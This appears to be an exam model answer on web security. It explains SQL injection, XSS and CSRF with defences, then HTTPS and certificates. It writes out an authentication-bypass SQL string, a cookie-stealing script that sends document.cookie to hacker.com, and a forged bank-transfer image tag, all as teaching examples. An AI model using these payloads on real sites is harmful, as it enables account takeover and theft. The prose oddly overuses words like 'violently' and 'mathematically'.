RTUComputer ScienceYr 2023 · Sem 52023

Q4Cyber Security Management

Question

10 marks

(a) Explain the concept of Web Security. (b) Discuss SQL Injection, XSS, and CSRF attacks with prevention techniques. (c) Explain HTTPS and SSL certificates.

Answer

A critical engineering overview of Web Security, thoroughly analyzing the mechanics of SQL Injection (SQLi), Cross-Site Scripting (XSS), and Cross-Site Request Forgery (CSRF), alongside the cryptographic deployment of HTTPS and SSL.

Web Security is a highly specialized domain of cybersecurity focused exclusively on protecting internet-facing applications, web servers, and the backend databases they communicate with. Unlike network security which defends the perimeter, web security acknowledges that the firewall intentionally leaves Port 80 (HTTP) and Port 443 (HTTPS) wide open for global traffic. Therefore, threat actors do not attack the network; they aggressively exploit logical flaws, unsanitized inputs, and session management vulnerabilities directly within the web application's source code.

1. SQL Injection (SQLi)

SQLi is arguably the most devastating attack against database integrity. It occurs when a web application takes raw, untrusted user input from a form (like a username field) and violently concatenates it directly into a backend database SQL query without any mathematical sanitation.

  • The Attack: Instead of typing a username, the attacker types a malicious string: ' OR '1'='1. The application constructs the query: SELECT * FROM users WHERE username = '' OR '1'='1' AND password = ''. Because the mathematical logic '1'='1' is always true, the database bypasses authentication completely, logging the attacker in as an admin or dumping all credit card data to the screen.
  • Prevention Strategy: Developers must absolutely abandon dynamic query concatenation. They must rigidly enforce the use of Parameterized Queries (Prepared Statements). This architecture mathematically forces the database to treat the user input strictly as a literal data string, never as executable code, completely neutralizing the injection.

2. Cross-Site Scripting (XSS)

While SQLi attacks the backend server, XSS violently attacks the client's web browser. It occurs when an application takes malicious data sent by an attacker and displays it on another user's screen without escaping the HTML characters.

  • The Attack: An attacker posts a comment on a forum containing a malicious JavaScript payload: <script>fetch('http://hacker.com/?cookie='+document.cookie)</script>. When an innocent user views the forum, their browser mathematically interprets the <script> tag as executable code and runs it, silently stealing the user's highly secure session cookies and sending them to the hacker.
  • Prevention Strategy: Absolute reliance on Output Encoding / Escaping. Before rendering any user-generated data to the screen, the server must mathematically convert dangerous characters into their safe HTML entity equivalents (e.g., < becomes &lt;). This forces the browser to display the code as harmless text rather than executing it.

3. Cross-Site Request Forgery (CSRF)

CSRF is an aggressive attack that exploits the fact that web browsers automatically include stored session cookies with every request made to a domain.

  • The Attack: An attacker tricks a victim (who is currently logged into their bank) into clicking a hidden link on a malicious website: <img src="http://bank.com/transfer?amount=1000&to=Hacker">. The browser dutifully sends the request to the bank, automatically attaching the victim's valid session cookie. The bank executes the transfer, believing the victim authorized it.
  • Prevention Strategy: The absolute implementation of Anti-CSRF Tokens. The server mathematically generates a massive, cryptographically random, unpredictable token and embeds it into every single HTML form. When the form is submitted, the server verifies the token. Since the attacker cannot predict this token, the forged request is violently rejected.

Standard HTTP transmits all data in plain, readable text, making it catastrophically vulnerable to Man-in-the-Middle (MitM) attacks. HTTPS (HyperText Transfer Protocol Secure) violently secures this channel by layering HTTP directly on top of the TLS/SSL cryptographic protocol.

To enable HTTPS, a server must possess an SSL/TLS Digital Certificate issued by a trusted Certificate Authority (CA). This certificate mathematically binds the server's domain name to a Public Key. When the browser connects via HTTPS, it aggressively validates the CA's signature on the certificate. It then utilizes Asymmetric Cryptography to securely negotiate a Symmetric Session Key. All subsequent web traffic (passwords, cookies, HTML) is violently encrypted using AES, guaranteeing absolute Confidentiality and proving the Authenticity of the web server.

Back to Paper